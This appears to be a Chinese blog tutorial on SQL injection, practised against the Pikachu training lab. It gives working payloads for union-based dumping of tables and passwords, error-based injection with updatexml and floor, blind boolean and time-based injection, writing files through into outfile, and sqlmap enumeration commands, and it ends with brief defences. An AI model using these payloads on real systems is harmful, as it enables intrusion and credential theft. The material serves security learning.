SQL注入(一)

1 漏洞概述

在owasp发布的top 10中,注入漏洞一直都是危害排名第一

2 攻击流程

  1. 注入点探测

    • 自动方式:使用web漏洞扫描工具
    • 手动方式:手工构造sql注入语句
  2. 信息获取

    通过注入点获取期望得到的数据

    • 环境信息:数据库类型,数据库版本,操作系统版本,用户信息
    • 数据库信息:数据库名称,数据库表,表字段,字段内容
  3. 获取权限

    获取操作系统权限:通过数据库执行shell上传木马

核心思想:通过猜测,构造语句闭合

3 常见注入点类型

数字型:id = $id

字符型:id = ‘$id’

搜索型:text LIKE ‘%{$_GET[‘search’]}%’

4 手动测试

4.1 union联合查询

select username,password from user where id =1 union select 字段1,字段2 from 表名

联合查询字段数需要和主查询一致,查询的结果显示在同一张表上

4.2 order by排序

order by X可以用来推出表中有多少字段

5 小知识补充

在mysql中,自带的information_schema这个表里面存放了大量的重要信息。

例如:

SCHEMATA表:提供了当前mysql实例中所有数据库的信息,。是show databases的结果。

TABLES表:提供了关于数据库中表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息,是show columns from schemaname.tablename的结果。

获取表名:

select id,email from member where username = ‘kobe’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’;

获取字段名:

select id,email from member where username =‘kobe’ union select table_name,column_name from information_schema.columns where table_name=‘users’;

获取内容:

select id,email from member where username=‘kobe’ union select username,password from users;

6 基于函数报错的信息获取

常用的报错函数updatexml()、extrctvalue()、floor()

前提条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

技巧思路:

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

  • updataxml():是MYSQL对XML文档数据进行查询和修改 的XPATH函数
  • extractvalue():同上
  • floor():MYSQL中用来取整的函数。

6.1 updatexml

作用:改变(查找并替换)XML文档中符合条件的节点的值。

语法:updatexml( xml_document, XPathstring, new_value)

参数一:fiedname是String格式,为表中的字段名。

参数二:XPathstring(xpath格式的字符串)

参数三:new_value , String格式,替换查找到的符合条件的

xpath定位必须是有校的,否则会发生错误

payload:

1‘ and updatexml(1,version(),0)# 这只会显示一部分内容,改进如下:

1’ and updatexml(1,concat(0x7e,version()),0)#

报错只能一次显示一行,多行的话使用limit,0x7e为~的十六进制形式

6.2 extractvalue

作用:从目标XML中返回包含所查询值得字符串

语法:extractvalue(xml_document,xpath_string)

6.3 floor

select 2 from (
    select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x
			)a

floor、count、group by三个要一起用

7 基于insert/update注入

一般insert语句:insert into member(username,password,email) values(‘admin’,‘123456’,‘111@qq.com’);

用or作为闭合s

绕过原理:xiaoming’ or XXXXX or ‘’,‘123456’,‘111@qq.com’

构造payload:xiaoming’ or updatexml(1,concat(0x7e,database()),0) or ’

insert和update原理一样

8 盲注

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错

此时无法在根据报错信息来进行注入的判断,这种情况下的注入,成为盲注

根据表现形式的不同,盲注又被分为based boolean和based time两种类型

8.1 基于boolean的盲注

  1. 不管是正确的输入还是错误的输入,都只显示两种情况(可认为是0或1)
  2. 在正确的输入下,输入and 1=1 或 and 1=2发现可以判断

使用and而不是or,使用or会一直是0或1,and后为真则1,假则0

’ and ascii(substr(database(),1,1)) >10 #

8.2 基于time的盲注

基于boolean的盲注在页面还可以看到0/1,而基于time的则啥都看不到。

但可以通过特定的输入,判断后台执行的时间,从而确定注入

如,

kobe

kobe’ and sleep(5)#

比较这两句的时间

9 通过SQL漏洞写入恶意代码

前提条件:

  1. 需要知道远程目录
  2. 需要远程目录有写权限
  3. 需要数据库开启了secure_file_priv,默认是关闭的

select 1,2 into outfile “/var/www/html/1.txt”

into outfile将select的结果写入到指定目录的1.txt中

在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

10 暴力猜测

aa作为字典

kobe’ and exists(select * from aa) #

11 防范

代码层面:

  1. 对输入进行严格的转义和过滤(不是最好的方法)
  2. 使用PDO预处理和参数化(推荐)

网路层面

  1. 通过WAF设备启用防SQL注入策略
  2. 云端防护(360网站卫士,阿里云盾等)

12 sqlmap经典用法

第一步:

-u “xxx” – cookie=“yyy” //带上cookie对URL进行注入探测

第二步:

-u “xxx” --cookie=“yyy” -current-db //对数据库名进行获取

第三步:

u “xxx” --cookie=“yyy” -D pikachu --tables //对数据库的表名进行枚举

第四步:

-u “xxx” --cookie=“yyy” -D pikachu -T users --columns //对库里面的名为users表的列名进行枚举

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值